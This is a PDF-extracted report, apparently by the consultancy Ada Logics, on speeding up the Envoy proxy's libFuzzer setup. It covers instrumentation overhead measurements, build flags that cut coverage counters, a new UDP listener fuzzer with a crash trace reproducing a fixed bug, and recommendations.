fuzzing improvements\\n,\\nApril 2021\\nsize_tFirstFeature =0;\\nfor(size_ti =0; i < NumModules; i++) {for(size_tr =0; r < Modules[i].NumRegions;r++) {if(!Modules[i].Regions[r].Enabled)continue;FirstFeature +=8* ForEachNonZeroByte(Modules[i].Regions[r].Start,Modules[i].Regions[r].Stop,FirstFeature,Handle8bitCounter);}}\\nThe nested for loop calls intoForEachNonZeroByte\\nwith two pointers as the first\\ntwo arguments. These arguments point to the areas\\nin the code where a page of\\ninline 8-bit counters exist, namely, each region in\\ntheModules\\nvector encapsulates\\na page of 8bit counters. The implementation ofForEachNonZeroByte\\nis defined here\\nhttps://github.com/llvm/llvm-project/blob/e60d6e91e196d91a1b9bfcc93d9f43946ea29299/co\\nmpiler-rt/lib/fuzzer/FuzzerTracePC.h#L184\\nand essentially\\nthe function will call the callback\\n(Handle8bitCounter\\n) for each nonzero byte in the memory\\nregion. In the case of theRunOne\\nfunction the result is to call into the function\\nprovided by the call toTPC.CollectFeatures\\n, which eventually calls into\\nvarious functions related to the corpus,\\ne.g.Corpus.AddFeature\\nandCorpus.UpdateFeatureFrequency\\nwhich will trigger\\nchanges in the Corpus representation if the features\\nindicate that a new piece of code has\\nbeen executed.\\nThe main point to get across in the above section\\nis that nested for-loop inCollectFeatures\\niterates through the regions with\\ninline 8-bit counters, and what we will\\nobserve in the Envoy fuzzers is that the number of\\ninline 8-bit counters is significantly large.\\n1.1 is it possible to disable certain 8-bit counters?\\nA question that is relevant about how libFuzzer uses\\nthe instrumentation is whether you can\\ntell libFuzzer to disable checking of inline counters.\\nIndeed, in theTPC.CollectFeatures\\nfunction the loop that is extensive (shown above),\\nnamely:\\nfor(size_ti =0; i < NumModules; i++) {for(size_tr =0; r < Modules[i].NumRegions;r++) {if(!Modules[i].Regions[r].Enabled)continue;FirstFeature +=8* ForEachNonZeroByte(Modules[i].Regions[r].Start,Modules[i].Regions[r].Stop,FirstFeature,Handle8bitCounter);}}\\nonly iterates through the inline 8-bit counters if\\na given region is “Enabled\\n”. Unfortunately,\\ntheEnabled\\nboolean will always be true for all regions\\nas all regions are initialised to true\\nAda Logics\\nLondon, United Kingdom\\n6\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n(\\nhttps://github.com/llvm/llvm-project/blob/ab5823867c4aee7f3e02ddfaa217905c87471bf9/co\\nmpiler-rt/lib/fuzzer/FuzzerTracePC.cpp#L59\\n) and never\\nset to false.\\n1.2 How does coverage instrumentation impact fuzzer\\nexecution speed in Envoy?\\nIn this section we show three different ways of observing\\nthe impact of the current\\ninstrumentation set up in Envoy.\\n1.2.1 Execution speed of an empty fuzzer.\\nWe assess the slowdown of the instrumentation by creating\\nthe simplest fuzzer we can. We\\ndo this by having an empty fuzzer and compiling it\\nin two different ways. First, we compile it\\nwithout linking it to any Envoy code. Second, we compile\\nit in the exact same way ash2_capture_fuzz\\nnamely by linking it to the exact\\nsame code in the Envoy code base,\\nwhich corresponds to essentially all of the Envoy\\ncode. We define the new fuzzer as follows:\\n#include \\\"test/integration/h2_fuzz.h\\\"DEFINE_FUZZER(constuint8_t* buf,size_tlen) {if(len ==1234123412) {std::cout<<\\\"hello \\\"<< buf <<\\\"\\\\n\\\";}}\\nand enable it by extending test/integration/BUILD\\nwith the following\\nenvoy_cc_fuzz_test(name =\\\"h2_empty_fuzz_test\\\",srcs = [\\\"h2_empty_fuzz_test.cc\\\"],copts = [\\\"-DPERSISTENT_FUZZER\\\"],corpus =\\\"h2_corpus\\\",deps = [\\\":h2_fuzz_persistent_lib\\\"],)\\nWe then compile and run the fuzzer, and observe the\\nfollowing output:\\n$ h2_empty_fuzz_testINFO: Running with entropic power schedule (0xFF,100).INFO: Seed: 2391912932INFO: Loaded 1 modules (1282530 inline 8-bit counters):1282530 [0xa51f110,0xa6582f2),INFO: Loaded 1 PC tables (1282530 PCs): 1282530 [0xa6582f8,0xb9ea118),INFO: -max_len is not provided; libFuzzer will notgenerate inputs larger than 4096bytesINFO: A corpus is not provided, starting from an emptycorpus#2 INITED cov: 3 ft: 4 corp: 1/1b exec/s: 0 rss:170Mb\\nAda Logics\\nLondon, United Kingdom\\n7\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n#8192 pulse cov: 3 ft: 4 corp: 1/1b lim: 80 exec/s: 4096 rss: 170Mb#16384 pulse cov: 3 ft: 4 corp: 1/1b lim: 163 exec/s:4096 rss: 171Mb#32768 pulse cov: 3 ft: 4 corp: 1/1b lim: 325 exec/s:4096 rss: 172Mb#65536 pulse cov: 3 ft: 4 corp: 1/1b lim: 652 exec/s:3855 rss: 175Mb\\nIf we create the same empty fuzzer but outside the\\nenvoy build environment but following the\\nEnvoy fuzzer set up\\nhttps://github.com/envoyproxy/envoy/blob/1d1b708c7bf6efa02c41d9ce22cbf1e4a1aeec2c/te\\nst/fuzz/fuzz_runner.h#L71\\n:\\n#include \\n#define DEFINE_TEST_ONE_INPUT_IMPL\\\\extern \\\"C\\\" int LLVMFuzzerTestOneInput(const uint8_t*data, size_t size) { \\\\EnvoyTestOneInput(data, size);\\\\return 0;\\\\}\\n#define DEFINE_FUZZER\\\\static void EnvoyTestOneInput(const uint8_t* buf,size_t len); \\\\DEFINE_TEST_ONE_INPUT_IMPL\\\\static void EnvoyTestOneInput\\nDEFINE_FUZZER(const uint8_t* buf, size_t len) {if (len ==1234123412) {std::cout<<\\\"hello \\\"<< buf <<\\\"\\\\n\\\";}}\\nand run the fuzzer, then we observe the output:\\n$ $CXX $CXXFLAGS $LIB_FUZZING_ENGINE ./empty_fuzzer.cc$ ./a.outINFO: Running with entropic power schedule (0xFF,100).INFO: Seed: 1703773772INFO: Loaded 1 modules (126 inline 8-bit counters):126 [0x84c0f8, 0x84c176),INFO: Loaded 1 PC tables (126 PCs): 126 [0x5e6398,0x5e6b78),INFO: -max_len is not provided; libFuzzer will notgenerate inputs larger than 4096bytesINFO: A corpus is not provided, starting from an emptycorpus#2 INITED cov: 3 ft: 4 corp: 1/1b exec/s: 0 rss:29Mb#4194304 pulse cov: 3 ft: 4 corp: 1/1b lim:4096 exec/s: 2097152 rss: 343Mb#8388608 pulse cov: 3 ft: 4 corp: 1/1b lim:4096 exec/s: 1677721 rss: 611Mb#16777216 pulse cov: 3 ft: 4 corp: 1/1b lim:4096 exec/s: 1677721 rss: 614Mb\\nWe verify the disassembly ofLLVMFuzzerTestOneInput\\nis similar in both of the fuzzers (see\\nAppendix A.0), specifically that they each execute\\nthe same amount of code in theLLVMFuzzerTestOneInput\\n. We also note here that the\\ncoverage achieved by both fuzzers\\nis equal (namely 3) as shown by the output of libFuzzer.\\nAda Logics\\nLondon, United Kingdom\\n8\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nThe execution speed and the number of inline 8-bit\\ncounters are very different in the two\\ncases. Specifically, we extract two important conclusions\\nfrom the above observations\\n1.\\nThe fuzzer that is compiled outside of the Envoy fuzzer\\nenvironment executes with\\nroughly 1.67 million executions per second, whereas\\nthe one in the Envoy\\nenvironment executes with roughly 4000 executions\\nper second. The envoy\\ninstrumentation slows down the fuzzer by roughly 419x.\\n2.\\nThe number of inline 8-bit counters in the Envoy fuzzer\\nis 1282530 whereas it is 126\\nin the empty fuzzer (these numbers can be observed\\nby the output from LibFuzzer\\ngiven above). This corresponds to iterating through\\n126 bytes versus 1282530 bytes\\nafter each fuzz iteration.\\n1.2.2 Using Prodfiler to observe the impact.\\nAnother way we tried to assess the execution speed\\nof the fuzzers was by using profiling\\ntools to tell us where execution is spent. To do this,\\nwe relied on Prodfiler\\nhttps://github.com/optimyze/prodfiler-documentation\\nto profile the entire machine in which we\\nran the fuzzer. Prodfiler reported that 25.8% of all\\nfunction samples observed happened\\ninside theForEachNonZeroByte\\nfunction\\n.\\nIn addition\\nto this, looking at the flame graphs\\nprovided by Prodfiler we see that around 19% of the\\nentire machine execution was spent\\ninside of theCollectFeatures\\nfunction.\\nAda Logics\\nLondon, United Kingdom\\n9\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n1.2.3 Using fuzzer instrumentation to assess the overall\\ntime spent with\\nfuzzing.\\nAnother thing we were interested in understanding\\nwas how much of the fuzzing execution\\nwas actually spent in the target and how much was\\nspent in the fuzzing engine itself. To do\\nthis, we added some simple instrumentation to the\\nh2_capture_fuzz.cc and h2_fuzz.cc files,\\nsuch that the h2_capture_fuzz fuzzer will log timestamps\\nas follows:\\nDEFINE_PROTO_FUZZER(..H2CaptureFuzzTestCase input)ADD_TIME_STAMP(F1)H2FuzzIntegrationTest h2_var;h2_var.replay(input)--> H2FuzzIntegrationTest::replay(... H2CaptureFuzzTestCase&input,)...ADD_TIME_STAMP(R4)IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort(\\\"http\\\"));...ADD_TIME_STAMP(R5)for (int i =0; i < input.events().size();++i) {if (stop_further_inputs) {break;}INC_GLOBAL(PACKET_COUNT)// send packet}// endloopADD_TIME_STAMP(R6)...<--ADD_TIME_STAMP(F2)<--\\nWith these timestamps available we set up an experiment\\nto measure the following metrics:\\nAda Logics\\nLondon, United Kingdom\\n10\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n-\\nTotal time spent fuzzing\\n-\\nTotal time spent in code between the following timestamps:\\n-\\nF1-F2: This is the total time spent in the fuzzer\\ncode.\\n-\\nR4-R6: This is the total time spent in the replay\\nfunction.\\n-\\nR5-R6: This is the total time spent in the loop sending\\nfuzz inputs to the client\\n-\\nNumber of total fuzz inputs to the client\\n-\\nVarious proportionate metrics, e.g. inputs sent to\\nthe client.\\nWe executed\\nh2_capture_persistent_fuzz\\nwith the seeds\\nprovided, and observed the\\nfollowing results:\\nMetric\\nResult\\nTotal execution time\\n1200 sec\\nF1-F2\\n244 sec\\nR4-R6\\n239 sec\\nR5-R6\\n226 sec\\nF1-F2/Total time\\n20%\\nR4-R6/Total time\\n19.9%\\nR5-R6/Total time\\n18.8%\\nTotal number of client fuzz inputs\\n82797\\nTotal fuzz inputs to client / (F1-F2)\\n339 inputs/sec\\nTotal fuzz inputs to client / (R4-R6)\\n346 inputs/sec\\nTotal fuzz inputs to client / (R5-R6)\\n366 inputs/sec\\nTotal number of fuzz iterations\\n27761\\nWe observe that only 20% of the fuzz time is spent\\nin the actual fuzzing code, and thus 80%\\nof the time is spent in the libFuzzer engine.\\n1.2.4 Counting the number of 8-bit inline counters\\nin each Envoy fuzzer.\\nFinally, we wanted to understand how many 8-bit inline\\ncounters are actually used by the\\nEnvoy fuzzers. This number is reported by the fuzzers\\nwhen they are initiated, so the only\\nthing we have to do in this case is build the fuzzers,\\nlaunch them and then count the number\\nof inline 8-bit counters. We do this using a build\\nwith AddressSanitizer, and we see the\\nfollowing results:\\nFuzzer name\\ninline 8-bit counters\\nh2_capture_persistent_fuzz_test\\n1281655\\nh2_capture_fuzz_test\\n1281649\\nAda Logics\\nLondon, United Kingdom\\n11\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nh1_capture_fuzz_test\\n1268160\\nh1_capture_persistent_fuzz_test\\n1268166\\ncodec_fuzz_test\\n1030067\\nhash_fuzz_test\\n570594\\nget_sha_256_digest_fuzz_test\\n579995\\nevaluator_fuzz_test\\n1100639\\ndns_filter_fuzz_test\\n1139928\\nFor comparison purposes the following table gives\\nexamples of 8-bit counters in various\\nopen source projects that we have fuzzed.\\nProject fuzzer targets\\nInline 8-bit counters\\nLua\\n6322\\nPugiXML\\n4871\\nLevelDB\\n5948\\nRocksDB\\n137913\\nIt is clear that the number of inline 8-bit counters\\nin Envoy is significantly larger than any of\\nthe other projects. For example, our fuzzer targeted\\nthe core library (liblua.a) for the Lua\\nprogramming language has a total of 6322 inline 8-bit\\ncounters whereas the h2 end-to-end\\nEnvoy fuzzer has a total of 1.2 million.\\n1.2.5 Conclusions\\nThe instrumentation set up in Envoy is a significant\\nperformance bottleneck for the fuzzers.\\nThe main reason for the performance is the post-processing\\nthat occurs after each fuzz\\nexecution in terms of collecting coverage features\\nto assess whether the execution\\ndiscovered new code execution. An empty fuzzer without\\nEnvoy instrumentation runs 419x\\nfaster than an empty fuzzer with Envoy instrumentation.\\nWe want to emphasize here that the fuzzing infrastructure\\nof Envoy is of high quality and the\\nteam behind it has shown high competencies in fuzzing\\nEnvoy. In fact, from a certain\\nperspective it is positive that Envoy builds all code\\nrelated to Envoy with sanitizers and this\\nshould be considered a great achievement as well as\\nhaving the right intentions. It is due to\\nthe sheer amount of code in the resulting Envoy binaries,\\nwhich is due to linking of many\\nthird-party libraries in addition to the large Envoy\\ncode base in and of itself, that the\\ncoverage collection ends up having a significant slowdown.\\nIn the vast majority of projects\\nwe would not advise limiting the coverage instrumentation\\nacross a fuzzing set up.\\nAda Logics\\nLondon, United Kingdom\\n12\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nFurthermore, the observations we made in this section are not common knowledge and it is\\nnot to be expected from non-fuzzing experts to consider\\nthis during fuzzer development.\\n1.3 Improving Envoy fuzzer execution by reducing\\ninstrumentation\\n1.3.1 Disabling instrumentation\\nThe crucial task for improving fuzzing performance\\nin Envoy is to reduce the amount of\\ncoverage instrumentation in the target application.\\nSpecifically, the goal is to reduce the\\namount of inline 8-bit counters. The main way to this\\nis by including the compilation flags:\\n-fsanitize-coverage=0-fno-sanitize=all\\nThe first flag-fsanitize-coverage=0\\ndisablescoverage\\ninstrumentation, whereas the\\nsecond flag also disables bug-finding sanitizers,\\ne.g. AddressSanitizer. The first flag should\\nbe removed from code that can avoid being explored\\nor are potentially fuzzed elsewhere.\\nThe second flag, namely disabling bug-finding sanitizers,\\nshould be disabled with more care.\\nIn order to disable instrumentation, we tried three\\nthings:\\nBazel builds:\\nFirst, we tried controlling instrumentation\\ndetails inside of the Envoy BUILD\\nscripts. In particular, adding `copts` definitions\\nto various places in the BUILD scripts of\\nENVOY. This works for the majority of bazel rules,\\nhowever, it does not work for any rule\\ndefined by way ofproto_library\\n. This is becauseproto_library\\ndoes not allow us to\\npropagate compilation options to the protobuf compiler,\\nand thus it does not allow us to\\ninclude the flags to disable instrumentation on a\\nper-target basis. We reference to issues in\\nthe bazelbuild/rules_proto repository here:\\nhttps://github.com/bazelbuild/rules_proto/issues/85\\nhttps://github.com/bazelbuild/rules_proto/issues/41\\nPassing flags to clang:\\nSecond, we tried using the\\n`--per_file_copt\\n` command line\\noption for bazel builds. This option accepts a regular\\nexpression that encapsulates a set of\\nfiles used during compilation as well as a string\\nthat will be passed to the compiler during\\ncompilation of files that match the regular expression.\\nFor example, the following line:\\n--per_file_copt=^.*\\\\.pb\\\\.cc$@-fsanitize-coverage=0,-fno-sanitize=all\\nwill pass the flags-fsanitizer-coverage=0\\nand-fno-sanitize=all\\nto all files compiled\\nin the bazel build with.pb.cc\\nextensions. This option\\nworked well.\\nAda Logics\\nLondon, United Kingdom\\n13\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nUsing a blocklist for SanitizerCoverage\\n: Third, using the-fsanitize-coverage-blocklist=/src/block_list.txt\\nalso by way ofper_file_copt\\n. This option disables coverage instrumentation\\nbased on contents of the file/src/block_list.txt\\nin which it is possible to disable\\ninstrumentation based on file names\\nor (mangled) function names.\\n1.3.2 Results from disabling instrumentation\\nMeasuring dif ferent configurations\\nThe next was to identify which parts of the code yields\\nbest results when disabling coverage\\ninstrumentation. To do this, we set up a set of different\\nbuild configurations following the\\napproaches (2 and 3) described above and measured\\nthe following data:\\n1.\\nThe number of 8-bit inline counters in the h1 e2e\\nand h2 2e2 fuzzers;\\n2.\\nThe total number of fuzz iterations achieved over\\na 5 minute run with the seeds from\\nthe OSS-Fuzz repository.\\nIn total, we compiled the Envoy fuzzers with 6 different\\nconfigurations and the configurations\\nare shown in Appendix A.1. The following table shows\\nthe results.\\nFuzzer\\nSetting\\ninline 8-bit \\ncounters\\nTotal execs \\n(300 sec)\\nExec/sec\\nhttp2 e2e\\nConfiguration 1 \\n(regular build)\\n1281922\\n4527\\n15.1\\nhttp1 e2e\\nConfiguration 1 \\n(regular build)\\n1268433\\n7123\\n23.7\\nhttp2 e2e\\nConfiguration 2\\n271239\\n7372\\n24.6\\nhttp1 e2e\\nConfiguration 2\\n272107\\n25370\\n84.6\\nhttp2 e2e\\nConfiguration 3\\n313473\\n6864\\n22.9\\nhttp1 e2e\\nConfiguration 3\\n314363\\n17640\\n58.9\\nhttp2 e2e\\nConfiguration 4\\n313545\\n5291\\n17.6\\nhttp1 e2e\\nConfiguration 4\\n314438\\n16530\\n55.1\\nhttp2 e2e\\nConfiguration 5\\n258955\\n6522\\n21.7\\nhttp1 e2e\\nConfiguration 5\\n259216\\n20639\\n68.8\\nhttp2 e2e\\nConfiguration 6 \\n(includes \\nblocked list of \\nfunctions)\\n273673\\n8055\\n26.85\\nhttp1 e2e\\nConfiguration 6\\n274564\\n19932\\n66.4\\nAda Logics\\nLondon, United Kingdom\\n14\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n(includes \\nblocked list of \\nfunctions)\\nFinally, we note that the executions per second increases\\nif the fuzzer is run for a longer\\nperiod of time. For example, in our experiments we\\nhave observed above 100 exec/sec in\\nthe http2 end-to-end fuzzer with seeds in longer fuzz\\nruns. The data of these runs have been\\nshared with the Envoy team internally.\\nDeploying on OSS-Fuzz.\\nWe integrated some of the above efforts into the OSS-Fuzz\\nbuild script of Envoy and the\\nfollowing figure shows impact.\\nWe can see here that a performance improvement happened\\non the 16th April 2021.\\nInspecting the logs, we notice on the 15th April the\\namount of inline 8-bit counters was\\n~600,000\\n(\\nhttps://console.cloud.google.com/storage/browser/_details/envoy-logs.clusterfuzz-external.a\\nppspot.com/libFuzzer_envoy_h2_capture_persistent_fuzz_test/libfuzzer_asan_envoy/2021-\\n04-15/00:06:53:330737.log\\n) whereas on the 16th April\\nit was ~300,000\\n(\\nhttps://console.cloud.google.com/storage/browser/_details/envoy-logs.clusterfuzz-external.a\\nppspot.com/libFuzzer_envoy_h2_capture_persistent_fuzz_test/libfuzzer_asan_envoy/2021-\\n04-16/01:54:36:943426.log\\n). This decrease in inline\\n8-bit counters resulted in a 3x\\nimprovement of the fuzzer execution. We note here\\nthat in addition to the decrease in inline\\n8-bit counters the stability of the fuzzer was also\\nimproved on the same day through bug\\nfixing, which may have impacted the performance as\\nwell.\\nAda Logics\\nLondon, United Kingdom\\n15\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n2 Fuzzing the Envoy UdpListener\\nThe second task of the Engagement was to create a\\nnew fuzzer that targets the UDP\\nlistener of Envoy. The goal of this fuzzer was to\\nenable catching the bug described in this\\nGithub issue\\nhttps://github.com/envoyproxy/envoy/issues/14113\\n.\\nThe fuzzer we created was\\nmerged into Envoy and is available at this location\\nin the repository:\\nhttps://github.com/envoyproxy/envoy/blob/main/test/common/network/udp_fuzz.cc\\nThe goal of the fuzzer is to send an arbitrary number\\nof arbitrary packets to the Envoy UDP\\nlistener. To do this we rely on the primitives provided\\nbyNetwork::Test::UdpSyncPeer\\nand\\nthe core of the fuzzer is encapsulated by the following\\nloop\\n(\\nhttps://github.com/envoyproxy/envoy/blob/58a13570f3f4dea9bad8b8fa5e1221d7ed5056de/t\\nest/common/network/udp_fuzz.cc#L92\\n):\\n// Now do all of the fuzzingstaticconstintMaxPackets =15;total_packets_ = provider.ConsumeIntegralInRange(1,MaxPackets);Network::Test::UdpSyncPeerclient_(ip_version_);for(uint16_ti =0; i < total_packets_; i++){std::stringpacket_ =provider.ConsumeBytesAsString(provider.ConsumeIntegralInRange(1,3000));if(packet_.empty()) {packet_ =\\\"EMPTY_PACKET\\\";}client_.write(packet_, *send_to_addr_);}dispatcher_->run(Event::Dispatcher::RunType::Block);\\nThe fuzzer supports communicating by way ofGRO\\n,MMSG\\nas well as regularrecvmsg\\n, which\\nis controlled by the following code\\n(\\nhttps://github.com/envoyproxy/envoy/blob/58a13570f3f4dea9bad8b8fa5e1221d7ed5056de/t\\nest/common/network/udp_fuzz.cc#L73\\n):\\nFuzzedDataProviderprovider(buf, len);uint16_tSocketType = provider.ConsumeIntegralInRange(0,2);if(SocketType ==0) {config.mutable_prefer_gro()->set_value(true);ON_CALL(override_syscall_, supportsUdpGro()).WillByDefault(Return(true));}elseif(SocketType ==1) {ON_CALL(override_syscall_, supportsMmsg()).WillByDefault(Return(true));}else{ON_CALL(override_syscall_, supportsMmsg()).WillByDefault(Return(false));ON_CALL(override_syscall_, supportsUdpGro()).WillByDefault(Return(false));}\\nIn order to verify the fuzzer finds the original crash\\nof the code we ran the fuzzer\\nAda Logics\\nLondon, United Kingdom\\n16\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nagainst the Envoy codebase with the changes applied by the commit that fixed the\\nUDP bug (\\nhttps://github.com/envoyproxy/envoy/pull/14122/files\\n).\\nMore specifically,\\nif we avoid the use of the condition\\nif(output.msg_[i].truncated_and_dropped_) {continue;}\\nin this commit\\nhttps://github.com/envoyproxy/envoy/pull/14122/files#diff-c9702469f313c70572e261f4af736\\n87873ab8247264eb47fd05300098067c5abR632\\nthen we get\\nthe following result:\\n$ /out/udp_fuzz ./seeds/INFO: Running with entropic power schedule (0xFF,100).INFO: Seed: 185475315INFO: Loaded 1 modules (1087563 inline 8-bit counters):1087563 [0x861fcb0,0x87294fb),INFO: Loaded 1 PC tables (1087563 PCs): 1087563 [0x8729500,0x97c19b0),INFO: 55 files foundin./seeds/INFO: -max_len is not provided; libFuzzer will notgenerate inputs larger than 4096bytesINFO: seed corpus: files: 55 min: 1b max: 2251b total:4519b rss: 150MbAddressSanitizer:DEADLYSIGNAL===================================================================28367==ERROR: AddressSanitizer: SEGV on unknownaddress 0x000000000000 (pc0x000005872691 bp 0x7fff415ade70 sp 0x7fff415ad980T0)==28367==The signal is caused by a READ memory access.==28367==Hint: address points to the zero page.#0 0x5872691 in Envoy::Network::passPayloadToProcessor(unsignedlong,std::__1::unique_ptr>,std::__1::shared_ptr,std::__1::shared_ptr,Envoy::Network::UdpPacketProcessor&,std::__1::chrono::time_point > >)/proc/self/cwd/source/common/network/utility.cc:562:3#1 0x587501e in Envoy::Network::Utility::readFromSocket(Envoy::Network::IoHandle&,Envoy::Network::Address::Instance const&, Envoy::Network::UdpPacketProcessor&,std::__1::chrono::time_point > >, bool,unsigned int*) /proc/self/cwd/source/common/network/utility.cc:669:7#2 0x5877d3a inEnvoy::Network::Utility::readPacketsFromSocket(Envoy::Network::IoHandle&,Envoy::Network::Address::Instance const&, Envoy::Network::UdpPacketProcessor&,Envoy::TimeSource&, bool, unsigned int&)/proc/self/cwd/source/common/network/utility.cc:702:38#3 0x552b14d in Envoy::Network::UdpListenerImpl::handleReadCallback()/proc/self/cwd/source/common/network/udp_listener_impl.cc:75:34#4 0x552a15f in Envoy::Network::UdpListenerImpl::onSocketEvent(short)/proc/self/cwd/source/common/network/udp_listener_impl.cc:64:5\\nAda Logics\\nLondon, United Kingdom\\n17\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n#5 0x5531e26 inEnvoy::Network::UdpListenerImpl::UdpListenerImpl(Envoy::Event::DispatcherImpl&,std::__1::shared_ptr, Envoy::Network::UdpListenerCallbacks&,Envoy::TimeSource&, envoy::config::core::v3::UdpSocketConfigconst&)::$_0::operator()(unsigned int) const/proc/self/cwd/source/common/network/udp_listener_impl.cc:38:53\\n…\\n.\\n…\\n.\\nTo confirm the fuzzer targets the code that was asked\\nfor by the Envoy team we observe\\ncoverage of the fuzzer in OSS-Fuzz. Consider the following\\nlinks showing the UDP Listener\\ncode is being analysed:\\n●Envoy::Network::UdpListenerImpl::handleReadCallback\\nhttps://storage.googleapis.com/oss-fuzz-coverage/envoy/report\\ns/20210423/linux/proc/self/cwd/source/common/network/udp_list\\nener_impl.cc.html#L72\\n●Envoy::Network::Utility::readFromSocket\\nhttps://storage.googleapis.com/oss-fuzz-coverage/envoy/reports/20210423/linux/proc\\n/self/cwd/source/common/network/utility.cc.html#L576\\nIn addition to this, consider the figures in Appendix\\nA.2 showing the coverage is being\\nachieved.\\n3 Future advice\\nWe consider there to be three problems that need solving\\nfor the Envoy team.\\nFirst\\n, enable the ability to disable instrumentation\\nof protobuf code included in header files,\\nwhich in themselves can have a huge amount of code.\\nThis is because a lot of protobuf code\\nis included by way of header files in the Envoy source\\ncode:\\nenvoy/source/common$ grep -rn\\\"pb.h\\\"./ | wc -l388\\nThe unfortunate consequence of this is that the code\\nin the header file could avoid being\\ninstrumented but because it is included by important\\ncode that has to be instrumented, the\\nprotobuf code consequently will also be instrumented.\\nSome refactoring that makes it easy\\nto control the instrumentation parameters of the protobuf\\ncode would likely have a large\\nimpact on the execution speed.\\nAn option for solving the protobuf problems above\\nis to disable instrumentation on a\\nnamespace or function level. We can do this by performing\\npartial instrumentation with\\nSanitizerCoverage\\nas described here:\\nhttps://clang.llvm.org/docs/SanitizerCoverage.html#partially-disabling-instrumentation\\nAda Logics\\nLondon, United Kingdom\\n18\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nSpecifically, consider the file\\nb l o c k _ l i s t . t x t\\nwith the following contents:\\nfun:*nocoveragepls*\\nThis will disable coverage instrumentation for any\\nfunction that containsnocoveragepls\\nin\\nits function name, which includes the namespace name.\\nAs such, a way to disable\\ninstrumentation in a smart manner is to include a\\nfile\\nb l o c k e d _ l i s t . t x t\\nin the Envoy repository,\\nwhich we will then use during Envoy fuzzing compilation\\nas follows:--per_file_copt=\\\"-fsanitize-coverage-blocklist=envoy_code/block_list.txt\\\"\\nWe did an initial experimentation of this by way of\\nconfiguration #6 discussed in section\\n1.3.2.\\nSecond\\n, add the ability to do per-target instrumentation.\\nIt is clear that the fuzz targets in the\\nEnvoy code target separate parts of the code base.\\nIdeally instrumentation should be made\\non a target-specific basis. The goal should be to\\nhave less than 100,000 inline 8-bit counters\\nper fuzzer. Notice that the number of counters is\\nshown in the libFuzzer logs (as shown\\nabove section 1.2.1) which are also available on OSS-Fuzz\\nfor each of the OSS-Fuzz runs.\\nWe leave the following instrumentation-specific advice:\\n●\\nIt can be beneficial to reduce coverage instrumentation\\nalso from a perspective of\\nletting the fuzzer focus on code that matters, since\\nthe fuzzer will be guided by\\nimprovements in relevant code and not get “lost” in\\nirrelevant code.\\n●\\nLarge chunks of sequential code does not need to be\\ninstrumented with coverage,\\nincluding Envoy critical code. We advise to keep bug-finding\\nsanitizers on\\nnonetheless.\\nThird\\n, during the engagement we observed that several\\nof the fuzzers had a high crashing\\npercentage (above 90%) for several months. In fact,\\nthe http2 end-to-end fuzzer had an\\ninput in its corpus that caused the fuzzer to crash.\\nEffectively, the fuzzer had not explored\\nnew code for months because this input blocked the\\nfuzzer from continuing. We think it is\\ncrucial for the Envoy team to ensure the fuzzers of\\nEnvoy are running properly and this\\nshould be considered higher priority than ensuring\\nthe fuzzers run fast.\\n4 Conclusions\\nIn this engagement we improved Envoy fuzzing by identifying\\nthe performance bottleneck in\\nthe Envoy fuzzing set up and creating a new UDP fuzzer\\nthat targets previously buggy code.\\nOur findings identify that the performance bottleneck\\nin Envoy is due to large amounts of\\ncode instrumentation which causes LibFuzzer to spend\\nsignificant effort in determining if\\neach fuzz iteration caused new code to execute. We\\nshow how this affects the Envoy\\nfuzzers, for example by highlighting an empty fuzzer\\nruns 419 times slower with Envoy’s\\ninstrumentation approach. We show how to limit the\\namount of instrumentation in Envoy and\\nhow it improves performance.\\nAda Logics\\nLondon, United Kingdom\\n19\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n5 Appendix\\nA.0 Disassembly of empty fuzzers\\nAppendix showing the disassembly of\\nL L V M F u z z e r T e s t O n e I n p u t\\nin the two empty fuzzers is\\nsimilar.\\nDisassembly of\\nh2_empty_fuzz_test\\n, namely the empty\\nfuzzer compiled with Envoy\\ninstrumentation.\\n$ gdb /out/h2_empty_fuzz_testReading symbols from /out/h2_empty_fuzz_test...done.(gdb)setdisassembly-flavor intel(gdb) disass LLVMFuzzerTestOneInputDump of assembler codeforfunctionLLVMFuzzerTestOneInput:0x0000000003235e90 <+0>: push rbp0x0000000003235e91 <+1>: mov rbp,rsp0x0000000003235e94 <+4>: add BYTE PTR [rip+0x72d9dfc],0x1# 0xa50fc970x0000000003235e9b <+11>: mov rax,0xffffffffffffedc80x0000000003235ea2 <+18>: cmp rbp,QWORD PTRfs:[rax]0x0000000003235ea6 <+22>: jae 0x3235eac 0x0000000003235ea8 <+24>: mov QWORD PTR fs:[rax],rbp0x0000000003235eac <+28>: call 0x3235ec0 <_ZL17EnvoyTestOneInputPKhm>0x0000000003235eb1 <+33>: xor eax,eax0x0000000003235eb3 <+35>: pop rbp0x0000000003235eb4 <+36>: retEnd of assembler dump.(gdb) disass _ZL17EnvoyTestOneInputPKhmDump of assembler codeforfunction_ZL17EnvoyTestOneInputPKhm:0x0000000003235ec0 <+0>: push rbp0x0000000003235ec1 <+1>: mov rbp,rsp0x0000000003235ec4 <+4>: push r140x0000000003235ec6 <+6>: push rbx0x0000000003235ec7 <+7>: add BYTE PTR [rip+0x72d9dca],0x1# 0xa50fc980x0000000003235ece <+14>: mov rbx,rsi0x0000000003235ed1 <+17>: mov r14,rdi0x0000000003235ed4 <+20>: mov rax,0xffffffffffffedc80x0000000003235edb <+27>: cmp rbp,QWORD PTRfs:[rax]0x0000000003235edf <+31>: jae 0x3235ee5 <_ZL17EnvoyTestOneInputPKhm+37>0x0000000003235ee1 <+33>: mov QWORD PTR fs:[rax],rbp0x0000000003235ee5 <+37>: mov edi,0x498f3a940x0000000003235eea <+42>: mov rsi,rbx0x0000000003235eed <+45>: call 0x3153860 <__sanitizer_cov_trace_const_cmp8()>0x0000000003235ef2 <+50>: cmp rbx,0x498f3a940x0000000003235ef9 <+57>: jne 0x3235f31 <_ZL17EnvoyTestOneInputPKhm+113>0x0000000003235efb 